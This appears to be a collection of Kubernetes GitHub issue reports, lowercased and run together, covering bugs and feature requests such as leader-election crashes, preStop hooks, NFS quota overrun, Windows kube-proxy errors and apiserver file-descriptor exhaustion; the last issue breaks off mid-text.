hyperkube/v1.6.2+coreos.0  linux/amd64  kubernetes/79fee58/statefulset-controller  127.0.0.1:38284 \r

is this a bug report or feature request?    choose one :\r enhancement/cleanup\r \r   kubernetes version    use  kubectl version  :\r master branch for 1.8\r \r   description  :\r according to the todo at  https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/options/options.go l63 , it's better to deprecate  --runonce  of kubelet.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r every time apiserver or etcd unavailable, the controller manager/scheduler leader will choose to crash to give up leadership.\r \r   what you expected to happen  :\r \r crashing is a convenient way to lose leadership, and it is expected in codes. but a service is not expected to crash caused by the reason not from itself.\r instead of crashing, could controller manager/scheduler just stop what it is doing as a leader and re-campaign leader election as a follower.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r stop all of kube-apiservers or half of etcd nodes to make leadership  renew    https://github.com/kubernetes/client-go/blob/master/tools/leaderelection/leaderelection.go l146  timeout

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r \r \r   what happened  :\r \r see https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/winuserspace/proxier.go l134-140 about \ iptables\  words.\r \r   what you expected to happen  :\r \r winspace proxy should not depend on iptables - it's a wrong comment message.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r already sent a pr,  49847 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /assign @m1093782566\r

is this a bug report or feature request?  :\r  \r   what happened  :\r i'm using a pod with a worker container and a sidecar container that connects to the database.\r \r originally, the worker had a prestop hook on it to stop accepting requests, and complete the ones it already accepted before terminating. since it now needs the sidecar container to do so, after reading https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/ how-pods-manage-multiple-containers, https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/, and  25908, i modified the prestop hook on the worker to create a file on a shared pod volume once it completes, and a prestop hook on the sidecar that waits for the creation of the file.\r \r this works most of the time, but sometimes a weird situation happens where running  kubectl get pods  shows the pod as terminating with 0/2 ready:\r    \r name                                        ready     status        restarts   age\r worker-high-1230252182-l4d3b                0/2       terminating   0          4h\r    \r \r i can exec into both the containers - the sidecar is running the prestop hook  waiting for the file , and the worker container is running   without having run the prestop hook   - so there is a worker with old code still accepting jobs, the prestop hook on the sidecar will never complete  until the timeout .\r \r   what you expected to happen  :\r i expect the prestop hook to be run for both containers at least once in all scenarios - perhaps a mistaken assumption?\r \r i also don't expect there to be any containers in a running state without having run the prestop hook during termination.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i can reproduce it fairly consistently by performing deploys  with different image tags  one after another - eventually you get pods stuck in this state.\r \r   anything else we need to know?  :\r i had a look at the kubernetes logs, and this seems to stand out for me:\r    \r 18:34:05.433939 1453 kubelet.go:1912  syncloop  pleg : \ worker-high-1230252182-l4d3b_central 963e24d3-ade9-11e7-87dd-42010a960029 \ , event: &pleg.podlifecycleevent{id:\ 963e24d3-ade9-11e7-87dd-42010a960029\ , type:\ containerstarted\ , data:\ aad09149d791d077ac32a55357d0613740929100b3d1f4441e4e17b4f5a61026\ }\r 18:34:06.016202 1453 kubelet.go:1894  syncloop  delete, \ api\  : \ worker-high-1230252182-l4d3b_central 963e24d3-ade9-11e7-87dd-42010a960029 \ \r 18:34:06.449067 1453 kubelet.go:1912  syncloop  pleg : \ worker-high-1230252182-l4d3b_central 963e24d3-ade9-11e7-87dd-42010a960029 \ , event: &pleg.podlifecycleevent{id:\ 963e24d3-ade9-11e7-87dd-42010a960029\ , type:\ containerstarted\ , data:\ 32b40b349dda705e776ceae0e0e9b77dffa911859fb0e23c2f573d2da87a3a15\ }\r 18:34:07.671713 1453 kubelet_pods.go:936  killing unwanted pod \ worker-high-1230252182-l4d3b\ \r 18:34:07.677285 1453 kuberuntime_container.go:561  killing container \ docker://32b40b349dda705e776ceae0e0e9b77dffa911859fb0e23c2f573d2da87a3a15\  with 21601 second grace period\r 18:34:08.601532 1453 kubelet.go:1912  syncloop  pleg : \ worker-high-1230252182-l4d3b_central 963e24d3-ade9-11e7-87dd-42010a960029 \ , event: &pleg.podlifecycleevent{id:\ 963e24d3-ade9-11e7-87dd-42010a960029\ , type:\ containerstarted\ , data:\ 7d9475932ff3821009dd22cabab69165162b5fa107b15752f32be9333efa1d25\ }\r    \r \r it looks like the the pod killing sequence begins and runs on the containers that are up  the sidecar for instance , and  then  the worker container comes up, without running through the container killing sequence that would run prestop.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : gke

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r i created a nfs persistent volume with 1 gi size, then i created persistent volume claim and pod with that claim attached. after that inside the pod i write ~2g data with dd  from /dev/urandom . if i check nfs data from other location, the whole data is there.\r \r   what you expected to happen  :\r say no more space or terminate pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create -f nfs-pv.yaml.txt\r kubectl create -f nfs-pvc.yaml.txt\r kubectl create -f nfs-pod.txt\r \r exec shell into pod and overcommit the 1 gi persistent volume size  it's mounted under /mnt .\r \r   anything else we need to know?  :\r i tried with the static method and with dynamic proviser too  from external storage repo , it's the same result.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.6+coreos.0\r - cloud provider or hardware configuration: bare metal  on top of vmware \r - os  e.g. from /etc/os-release : container linux by coreos\r - kernel  e.g.  uname -a  :  4.14.19-coreos\r - install tools: kubespray\r - others: yaml files attached\r \r \r  nfs-pod.yaml.txt  https://github.com/kubernetes/kubernetes/files/1845584/nfs-pod.yaml.txt \r  nfs-pv.yaml.txt  https://github.com/kubernetes/kubernetes/files/1845585/nfs-pv.yaml.txt \r  nfs-pvc.yaml.txt  https://github.com/kubernetes/kubernetes/files/1845586/nfs-pvc.yaml.txt \r \r \r

many prs have been failing due to the  pull-kubernetes-verify  job timing out.\r \r it looks like both pr and ci jobs are affected:\r http://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-verify&width=5&graph-metrics=test-duration-minutes\r http://k8s-testgrid.appspot.com/sig-release-master-blocking verify&width=20&graph-metrics=test-duration-minutes\r \r the failures aren't consistent, but there appears to be a clear uptick starting around 13:00 pdt on monday, april 30. \r \r there aren't any notable test-infra changes from that time.\r \r for suspicious kubernetes changes, nothing immediately leaps out.\r the only two prs i find suspicious:\r   https://github.com/kubernetes/kubernetes/pull/58474, since it affects apiserver  which we run in update-openapi-spec.sh  and appears to have had several similar timeouts in verify-openapi-spec.sh before it merged. \r   https://github.com/kubernetes/kubernetes/pull/60034, since it affects startup/shutdown logic, but in kubelet/device manager, so i don't think it'd affect this change.\r \r i've been  set -x  debugging the verify scripts, and the last lines printed before hanging are\r    \r w0502 20:36:35.746  + echo '/go/src/k8s.io/kubernetes/api/openapi-spec up to date.'\r w0502 20:36:35.746  + cp -a /go/src/k8s.io/kubernetes/_tmp/openapi-spec /go/src/k8s.io/kubernetes/api/openapi-spec/..\r w0502 20:36:35.746  + rm -rf /go/src/k8s.io/kubernetes/_tmp\r w0502 20:36:35.746  + echo 0\r w0502 20:36:35.746  + tr -d '\ '\r    \r \r which corresponds to \r https://github.com/kubernetes/kubernetes/blob/0d43bdec2b8598ff542a1afdee876d417b4e7668/third_party/forked/shell2junit/sh2ju.sh l48-l49\r and\r https://github.com/kubernetes/kubernetes/blob/0d43bdec2b8598ff542a1afdee876d417b4e7668/third_party/forked/shell2junit/sh2ju.sh l110-l112\r \r so there might be some weird pipe/buffering nonsense going on causing everything to get stuck.\r  i'm still not sure what would cause this to start failing, though. \r \r cc @cblecker @bentheelder

currently, the etcd healthcheck is too simple. it only checks tcp connection https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/storage/etcd3/preflight/checks.go l65. \r \r i think we can enhance it the way etcdctl does. \r etcdv2:  get url + \ /health\  \r https://github.com/coreos/etcd/blob/6e39a39e3a0fb4258ed65e781e5d65849ee25d48/etcdctl/ctlv2/command/cluster_health.go l83\r \r etcdv3: cli.get ctx, \ health\  \r https://github.com/coreos/etcd/blob/ff455e3567d6465717d3ced6dc889d4eec9ed890/etcdctl/ctlv3/command/ep_command.go l121\r \r \r 

 \r   what happened  :\r kubelet failed to unmount volumes if the backend iscsi volume is not available. this also applies to other network attached volumes.\r \r   what you expected to happen  :\r kubelet should be able to unmount the volumes. a manual unmount works even when the backend network volume is not available.\r   how to reproduce it  as minimally and precisely as possible   :\r mount an iscsi/network volume and disconnect/de-provision iscsi target.\r \r   anything else we need to know?  :\r xfs shuts down the filesystem due to i/o errors. kubelet uses \ stat\  calls to figure out if it is a valid mount point or it is already unmounted. stat calls fail with eio and kubelet never proceeds to unmount the volume.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes 1.10.5\r - cloud provider or hardware configuration:\r bare metal\r - os  e.g. from /etc/os-release :\r centos 7.4\r - kernel  e.g.  uname -a  :\r linux appserv37 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r manual bring up\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r   set up a 2-windows 2-linux node cluster in azure using latest acs engine.\r   installed a prometheus pod and service on the linux nodes\r   noticed errors in the kubeproxy log on windows.\r   service only works on linux nodes, not on windows.\r   other services seem to work on windows even if their pods are on linux nodes.\r \r \r error in the kube-proxy log:\r    \r i0824 13:31:46.684045    4740 proxier.go:111  endpoint resource found,   winkernel.endpointsinfo  0xc042b3a780  {\r  ip:  string   len=10  \ 10.244.1.5\ ,\r  port:  uint16  9090,\r  islocal:  bool  false,\r  macaddress:  string   len=17  \ 00:11:22:33:44:55\ ,\r  hnsid:  string   len=36  \ 1f9faa27-8c8b-41ac-ab95-82a54590767b\ ,\r  refcount:  uint16  338\r } \r i0824 13:31:46.684045    4740 proxier.go:1010  associated endpoints     hcsshim.hnsendpoint   len=1 cap=1  {\r   hcsshim.hnsendpoint  {\r   id:  string   len=36  \ 1f9faa27-8c8b-41ac-ab95-82a54590767b\ ,\r   name:  string   len=8  \ ethernet\ ,\r   virtualnetwork:  string   len=36  \ e11838f9-bf86-4789-b5f8-c3899da0f861\ ,\r   virtualnetworkname:  string   len=8  \ l2bridge\ ,\r   policies:    json.rawmessage   len=1 cap=4  {\r     json.rawmessage   len=23 cap=32  {\r     00000000  7b 20 22 54 79 70 65 22  20 3a 20 22 4c 32 44 72  |{ \ type\  : \ l2dr|\r     00000010  69 76 65 72 22 20 7d                              |iver\  }|\r    }\r   },\r   macaddress:  string   len=17  \ 00:11:22:33:44:55\ ,\r   ipaddress:  net.ip   len=16 cap=16  10.244.1.5,\r   dnssuffix:  string  \ \ ,\r   dnsserverlist:  string  \ \ ,\r   gatewayaddress:  string  \ \ ,\r   enableinternaldns:  bool  false,\r   disableicc:  bool  false,\r   prefixlength:  uint8  0,\r   isremoteendpoint:  bool  true\r  }\r }\r   for service  calico-monitoring/calico-node-prometheus:web \r e0824 13:31:46.744110    4740 proxier.go:1034  policy creation failed: hns failed with error : the provided policy configuration is invalid or missing parameters.\r    \r \r   what you expected to happen  :\r \r no error, service should work on both types of node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r dump of my service spec  i noticed that it's a nodeport type and it has a named port as target, maybe one of those is the issue? :\r \r    \r apiversion: v1\r kind: service\r metadata:\r   annotations:\r   name: calico-node-prometheus\r   namespace: calico-monitoring\r spec:\r   clusterip: 10.0.67.66\r   externaltrafficpolicy: cluster\r   ports:\r   - name: web\r     nodeport: 30909\r     port: 9090\r     protocol: tcp\r     targetport: web\r   selector:\r     prometheus: calico-node-prometheus\r   sessionaffinity: none\r   type: nodeport\r status:\r   loadbalancer: {}\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t09:56:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t09:56:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration: acs-engine\r - os  e.g. from /etc/os-release : windows 1803 with august patches applied\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

the step “copying release artifacts to gs://...“ in  push-official-release  sometimes hangs, maybe when  gcloud  isn't up-to-date?  presumably it's similar for  push-ci  and  push-dev .  this needs further investigation.

i had a user send me this from a 100 node 1.1.3 cluster running on coreos where  kubectl create  would sometimes hang, sometimes take a long time and sometimes give these messages:      shell $ kubectl create -f . error from server: error when creating \ spark-driver-controller.yaml\ : 501: all the given peers are not reachable  failed to propose on members  http://localhost:2379  twice  last error: put http://localhost:2379/v2/keys/registry/controllers/default/spark-jupyter-controller?prevexist=false: dial tcp: lookup localhost on 10.2.0.2:53: dial udp 10.2.0.2:53: too many open files    0  error from server: error when creating \ spark-jupyterui.yaml\ : service \ spark-jupyterui\  is invalid: spec.clusterip: invalid value '', details: 501: all the given peers are not reachable  failed to propose on members  http://localhost:2379  twice  last error: get http://localhost:2379/v2/keys/registry/ranges/serviceips?quorum=false&recursive=false&sorted=false: dial tcp: lookup localhost on 10.2.0.2:53: dial udp 10.2.0.2:53: too many open files    0       and in journalctl i found errors like:      feb 17 19:35:59 ip-10-2-32-206.us-west-2.compute.internal kube-apiserver 2565 : i0217 19:35:59.373233    2565 logs.go:40  http: accept error: accept tcp  :: :8080: too many open files; retrying in 40ms feb 17 19:35:59 ip-10-2-32-206.us-west-2.compute.internal kube-apiserver 2565 : i0217 19:35:59.353043    2565 logs.go:40  http: accept error: accept tcp  :: :8080: too many open files; retrying in 20ms  feb 17 19:35:59 ip-10-2-32-206.us-west-2.compute.internal kube-apiserver 2565 : e0217 19:35:59.351323    2565 errors.go:62  apiserver received an error that is not an unversioned.status: 501: all the given peers are not reachable  failed to propose on members  http://localhost:2379  twice  last error: get http://localhost:2379/v2/keys/registry/jobs?quorum=false&recursive=true&sorted=true: dial tcp: lookup localhost on 10.2.0.2:53: dial udp 10.2.0.2:53: too many open files    0   feb 17 19:35:59 ip-10-2-32-206.us-west-2.compute.internal kube-apiserver 2565 : i0217 19:35:59.342723    2565 logs.go:40  http: accept error: accept tcp  :: :8080: too many open files; retrying in 10ms      which seems to imply that kube-apiserver is making too many dns queries to the  10.2.0.2  dns server in  /etc/resolv.conf  for  localhost  of all things.  and in looking  at the go net docs  https://golang.org/pkg/net/ :  > on unix systems, the resolver has two options for resolving names. it can use a pure go resolver that sends dns requests directly to the servers listed in /etc/resolv.conf, or it can use a cgo-based resolver that calls c library routines such as getaddrinfo and getnameinfo. >  > by default the pure go resolver is used ...   and because i couldn't find  export godebug=netdns=cgo  anywhere then it seems conceivable that  kube-apiserver  is making external dns requests for  localhost  and running out of fd's. am i missing anything here?  unfortunately i haven't seen these on any of our smaller clusters  and this is the first 100+ node cluster i've spun up , and the errors seemed to dissipate after initial cluster creation  scheduling 3 pods per node  2 from daemonsets  .  oh and also, if it helps:      shell $ sudo lsof -p -p  pidof kube-apiserver  | wc -l 971 $ sudo lsof -p -p  pidof kube-apiserver  | grep \ :2379\  | wc -l 215 $ ulimit -a core file size           blocks, -c  0 data seg size            kbytes, -d  unlimited scheduling priority              -e  0 file size                blocks, -f  unlimited pending signals                  -i  64090 max locked memory        kbytes, -l  64 max memory size          kbytes, -m  unlimited open files                       -n  1024 pipe size             512 bytes, -p  8 posix message queues      bytes, -q  819200 real-time priority               -r  0 stack size               kbytes, -s  8192 cpu time                seconds, -t  unlimited max user processes               -u  64090 virtual memory           kbytes, -v  unlimited file locks                       -x  unlimited $ cat /proc/sys/fs/file-max 1636887 $ cat /etc/lsb-release  distrib_id=coreos distrib_release=835.12.0 distrib_codename=\ red dog\  distrib_description=\ coreos 835.12.0

from  3729   we should land on one syntax for printing namespace and name  for all sorts of objects  \ namespace/name\  vs \ name.namespace\  vs other.  namepsace/name has an advantage when both name and namespace are dns subdomains: \ foo.bar/quux.zorb\  is clear, while \ quux.zorb.foo.bar\  is ambiguous.  if we all agree, we should start enforcing it in code reviews and fixing it up when we find it.

openapi v2.0 spec is server on the root of the api server as swagger.json. however this file is missing from the api discovery result. also the file is not versioned. i propose to add version to the path, e.g. $apiserver/spec.v2/swagger.json, $apiserver/spec.v3/openapi.json, etc.\r \r ref: https://groups.google.com/forum/?utm_medium=email&utm_source=footer !msg/kubernetes-sig-api-machinery/3zsf1ealhdw/-yylu4vxawaj\r \r cc: @bgrant0607 @nikhiljindal @smarterclayton

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r ubuntu@ip-10-102-37-245:~$ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r    linux ip-10-102-37-245 4.4.0-71-generic  92-ubuntu smp fri mar 24 12:59:01 utc 2017 x86_64 x86_64 x86_64 gnu/linux   \r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r we initially observed the problem when it was taking 5-15 minutes for new containers to be started, specifically, it seemed, to be waiting for images to download. we eventually realized that because we had several stale pods trying to download inaccessible images. they were monopolizing the docker service which delayed the other docker pull requests for several minutes.\r \r \r   what you expected to happen  :\r images download quickly, even if there are some pods with failing images.\r \r   how to reproduce it    as minimally and precisely as possible :\r deploy a few containers with bogus images whose images lead to a tcp timeout. attempt to deploy some valid containers -- it will take 5-15 minutes for them to start \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant\r -   os    e.g. from /etc/os-release : coreos 1353.7.0\r -   kernel    e.g.  uname -a  : \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r run apiserver with --kubelet-preferred-address-types=internalip.\r the address of worker node is filled as follows:\r \r    \r     addresses:\r     - address: 10.0.2.15\r       type: legacyhostip\r     - address: 10.0.2.15\r       type: internalip\r     - address: core-02\r       type: hostname\r    \r \r  kubectl logs kube-proxy-core-02  gives the following error:\r \r error from server  notfound : the server could not find the requested resource   pods/log kube-proxy-core-02 \r \r it works if --kubelet-preferred-address-types=internalip is not used.\r \r \r   what you expected to happen  :\r \r  kubectl logs kube-proxy-core-02  should get kube proxy log.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r run apiserver with --kubelet-preferred-address-types=internalip.\r and then do  kubectl logs  to the pods running on one of worker nodes.\r \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r optimization suggestion.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r switch on the securitycontextdeny admission controller, and create pod with below manifest, we will get an error  error from server  forbidden : error when creating \ pod.json\ : pods \ pod-with-sc\  is forbidden: securitycontext.supplementalgroups is forbidden . \r \r delete  supplementalgroups  block and create again, we will get another error  error from server  forbidden : error when creating \ pod.json\ : pods \ pod-with-sc\  is forbidden: securitycontext.runasuseris forbidden . \r \r we should optimize the securitycontextdeny admission controller to aggregate errors about all forbidden securitycontext options. then users will know all info in one error.\r \r    \r {\r   \ apiversion\ : \ v1\ ,\r   \ kind\ : \ pod\ ,\r   \ metadata\ : {\r     \ name\ : \ pod-with-sc\ \r   },\r   \ spec\ : {\r         \ securitycontext\ : {\r           \ runasuser\ : 1000,\r           \ fsgroup\ : 1000,\r           \ supplementalgroups\ :  \r             0,\r             1000030003,\r             2147483647\r            \r         },\r     \ containers\ :  \r       {\r         \ name\ : \ nginx\ ,\r         \ image\ : \ nginx\ ,\r \t\ imagepullpolicy\ : \ ifnotpresent\ \r       }\r      \r   }\r }\r    \r \r   what you expected to happen  :\r show all forbidden securitycontext options in one error.\r \r   how to reproduce it    as minimally and precisely as possible :\r switch on securitycontextdeny admission controller in apiserver flag and create above pod.\r \r   anything else we need to know  :\r discussed with @php-coder in https://github.com/kubernetes/kubernetes/pull/45718/files r117600942.\r @php-coder or i will fix this after  45718 merged.\r

what happened  :\r there are no e2e and integration tests for  apps/v1beta2  statefulset scale subresource.\r \r   what you expected to happen  :\r  1   apps/v1beta2  e2e test should exist before code freeze\r  2   apps/v1beta2  integration test should exist after 1.8 release branches cut\r \r   anything else we need to know?  :\r refer pr  49168 for more info.\r we should   not   remove existing  apps/v1beta1  e2e test.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r 1. i have a service patch with {\ spec\ :{\ externaltrafficpolicy\ :\ local\ }}, but pkg/cloudprovider /cloud.go interface loadbalancer call ensureloadbalancer/updateloadbalancer with all node in the cluster.\r 2. with service having '{\ spec\ :{\ externaltrafficpolicy\ :\ local\ }}', whenever pod reschedule to another node, updateloadbalancer never been called.\r \r   what you expected to happen  :\r 1. ensureloadbalancer/updateloadbalancer need to be called with desired local traffic node.\r 2. updateloadbalancer should be called when local traffic policy and pod reschedule to another node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl patch svc service_name -p '{\ spec\ :{\ externaltrafficpolicy\ :\ local\ }}'\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  : private\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  : -\r - install tools: binary\r - others:\r \r 

>  >  \r   what happened  :\r the symlink /var/log/containers created by kubernetes is for /var/lib/docker/containers prior to docker 1.12.5.  in 1.12.6 the path /var/lib/docker/container is replace by /var/log/pods/uid.../ logs.\r \r   what you expected to happen  :\r /var/log/containers symlink to /var/lib/docker/containers\r \r   how to reproduce it  as minimally and precisely as possible   :\r - install docker 1.12.6\r - install kubernetes v1.6.6\r - fluentd 0.12.31 \r - deploy fleuntd as daemonset\r \r   anything else we need to know?  :\r \r      name:           fluentd-wp5wb\r      namespace:      default\r      node:          kubernetes_hostname/xxx.xx.xx.xx\r      start time:     mon, 25 sep 2017 20:17:30 +0000\r      labels:         app=fluentd\r                          pod-template-generation=1\r      annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ daemonset\ ,\ namespace\ :\ default\ ,\ name\ :\ fluentd\ ,\ uid\ :\ 8ef7253d-a22e-11e7-a673-00505691e898\ ,\ apiversion...\r      status:       running\r      ip:             10.xx.x.x\r      controllers:    daemonset/fluentd\r      containers:\r        fluentd:\r          container id:       \r      docker://89c57714d89ae41a9ebbae535d757c42cc35eb0f85f6900c53641e430a4bb128\r           image:              fluentd:0.12.31\r           image id:           docker-pullable://devhub-docker.cisco.com/vnf-docker-\r          dev/fluentd@sha256:bb390bd767533b386b9290680143dce161aa96de38feb433abc3c7bef443a7c4\r          port:\r          command:\r            fluentd\r            -c\r             /etc/fluent/fluent.conf\r           state:              running\r           started:          mon, 25 sep 2017 20:22:09 +0000\r           ready:              true\r           restart count:      0\r          requests:\r             cpu:      1\r             memory:   256mi\r          environment:\r             container:        fluentd\r             mounts:\r                 /etc/fluent from config-volume  rw \r                 /var/lib/docker/containers from varlibdockercontainers  ro \r                 /var/lib/fluentd from fluentdposfiles  rw \r                 /var/log from varlog  ro \r                 /var/run/secrets/kubernetes.io/serviceaccount from fluentd-token-n3w09  ro \r      conditions:\r        type          status\r        initialized   true\r        ready         true\r        podscheduled  true\r      volumes:\r         config-volume:\r           type:       configmap  a volume populated by a configmap \r           name:       fluentd-config\r           optional:   false\r         fluentdposfiles:\r           type:       